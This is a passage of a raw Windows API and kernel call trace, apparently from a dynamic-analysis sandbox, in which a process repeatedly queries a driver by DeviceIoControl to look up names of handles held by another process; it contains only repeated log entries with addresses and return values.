ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.580] ObfDereferenceObject (Object=0xfffff8a0018a4c90) returned 0x1 [0131.580] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.580] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.580] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.580] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.580] PsAcquireProcessExitSynchronization () returned 0x0 [0131.580] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.580] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00181b820, HandleInformation=0x0) returned 0x0 [0131.580] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.580] PsReleaseProcessExitSynchronization () returned 0x2 [0131.580] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.580] ObQueryNameString (in: Object=0xfffff8a00181b820, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.580] ObfDereferenceObject (Object=0xfffff8a00181b820) returned 0x1 [0131.580] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.581] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.581] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.581] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.581] PsAcquireProcessExitSynchronization () returned 0x0 [0131.581] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.581] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003120a00, HandleInformation=0x0) returned 0x0 [0131.581] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.581] PsReleaseProcessExitSynchronization () returned 0x2 [0131.581] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.581] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.581] ObfDereferenceObject (Object=0xfffffa8003120a00) returned 0x1 [0131.581] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.581] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.581] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.581] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.581] PsAcquireProcessExitSynchronization () returned 0x0 [0131.581] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.581] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00170c890, HandleInformation=0x0) returned 0x0 [0131.581] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.581] PsReleaseProcessExitSynchronization () returned 0x2 [0131.582] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.582] ObQueryNameString (in: Object=0xfffff8a00170c890, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.582] ObfDereferenceObject (Object=0xfffff8a00170c890) returned 0x1 [0131.582] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.582] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.582] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.582] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.582] PsAcquireProcessExitSynchronization () returned 0x0 [0131.582] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.582] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ef79f0, HandleInformation=0x0) returned 0x0 [0131.582] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.582] PsReleaseProcessExitSynchronization () returned 0x2 [0131.582] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.582] ObQueryNameString (in: Object=0xfffff8a001ef79f0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.582] ObfDereferenceObject (Object=0xfffff8a001ef79f0) returned 0x1 [0131.582] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.582] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.582] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.582] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.582] PsAcquireProcessExitSynchronization () returned 0x0 [0131.582] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.582] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089a6a30, HandleInformation=0x0) returned 0x0 [0131.582] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.582] PsReleaseProcessExitSynchronization () returned 0x2 [0131.582] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.582] ObQueryNameString (in: Object=0xfffff8a0089a6a30, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.582] ObfDereferenceObject (Object=0xfffff8a0089a6a30) returned 0x1 [0131.582] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.582] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.583] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.583] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.583] PsAcquireProcessExitSynchronization () returned 0x0 [0131.583] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.583] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089a64c0, HandleInformation=0x0) returned 0x0 [0131.583] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.583] PsReleaseProcessExitSynchronization () returned 0x2 [0131.583] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.583] ObQueryNameString (in: Object=0xfffff8a0089a64c0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.583] ObfDereferenceObject (Object=0xfffff8a0089a64c0) returned 0x1 [0131.583] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.583] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.583] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.583] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.583] PsAcquireProcessExitSynchronization () returned 0x0 [0131.583] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.583] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089ccd60, HandleInformation=0x0) returned 0x0 [0131.583] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.583] PsReleaseProcessExitSynchronization () returned 0x2 [0131.583] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.583] ObQueryNameString (in: Object=0xfffff8a0089ccd60, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.583] ObfDereferenceObject (Object=0xfffff8a0089ccd60) returned 0x1 [0131.583] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.583] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.583] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.583] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.583] PsAcquireProcessExitSynchronization () returned 0x0 [0131.583] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.583] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001207fc0, HandleInformation=0x0) returned 0x0 [0131.583] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.583] PsReleaseProcessExitSynchronization () returned 0x2 [0131.583] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.583] ObQueryNameString (in: Object=0xfffff8a001207fc0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.584] ObfDereferenceObject (Object=0xfffff8a001207fc0) returned 0x1 [0131.584] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.584] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.584] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.584] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.584] PsAcquireProcessExitSynchronization () returned 0x0 [0131.584] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.584] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001651610, HandleInformation=0x0) returned 0x0 [0131.584] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.584] PsReleaseProcessExitSynchronization () returned 0x2 [0131.584] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.584] ObQueryNameString (in: Object=0xfffff8a001651610, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.584] ObfDereferenceObject (Object=0xfffff8a001651610) returned 0x1 [0131.584] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.584] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.584] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.584] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.584] PsAcquireProcessExitSynchronization () returned 0x0 [0131.584] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.584] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001201570, HandleInformation=0x0) returned 0x0 [0131.584] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.584] PsReleaseProcessExitSynchronization () returned 0x2 [0131.584] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.584] ObQueryNameString (in: Object=0xfffff8a001201570, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.584] ObfDereferenceObject (Object=0xfffff8a001201570) returned 0x1 [0131.584] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.584] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.585] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.585] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.585] PsAcquireProcessExitSynchronization () returned 0x0 [0131.585] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.585] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0017d2a40, HandleInformation=0x0) returned 0x0 [0131.585] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.585] PsReleaseProcessExitSynchronization () returned 0x2 [0131.585] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.585] ObQueryNameString (in: Object=0xfffff8a0017d2a40, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.585] ObfDereferenceObject (Object=0xfffff8a0017d2a40) returned 0x1 [0131.585] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.585] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.585] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.585] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.585] PsAcquireProcessExitSynchronization () returned 0x0 [0131.585] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.585] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d5d80, HandleInformation=0x0) returned 0x0 [0131.585] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.585] PsReleaseProcessExitSynchronization () returned 0x2 [0131.585] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.585] ObQueryNameString (in: Object=0xfffff8a0089d5d80, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.585] ObfDereferenceObject (Object=0xfffff8a0089d5d80) returned 0x1 [0131.585] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.585] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.585] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.585] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.585] PsAcquireProcessExitSynchronization () returned 0x0 [0131.585] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.585] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00122ae60, HandleInformation=0x0) returned 0x0 [0131.585] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.586] PsReleaseProcessExitSynchronization () returned 0x2 [0131.586] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.586] ObQueryNameString (in: Object=0xfffff8a00122ae60, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.586] ObfDereferenceObject (Object=0xfffff8a00122ae60) returned 0x1 [0131.586] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.586] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.586] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.586] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.586] PsAcquireProcessExitSynchronization () returned 0x0 [0131.586] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.586] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00122af70, HandleInformation=0x0) returned 0x0 [0131.586] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.586] PsReleaseProcessExitSynchronization () returned 0x2 [0131.586] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.586] ObQueryNameString (in: Object=0xfffff8a00122af70, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.586] ObfDereferenceObject (Object=0xfffff8a00122af70) returned 0x1 [0131.586] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.586] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.586] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.586] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.586] PsAcquireProcessExitSynchronization () returned 0x0 [0131.586] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.586] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001232c00, HandleInformation=0x0) returned 0x0 [0131.587] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.587] PsReleaseProcessExitSynchronization () returned 0x2 [0131.587] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.587] ObQueryNameString (in: Object=0xfffff8a001232c00, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.587] ObfDereferenceObject (Object=0xfffff8a001232c00) returned 0x1 [0131.587] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.587] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.587] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.587] PsLookupProcessByProcessId (in: ProcessId=0x184, 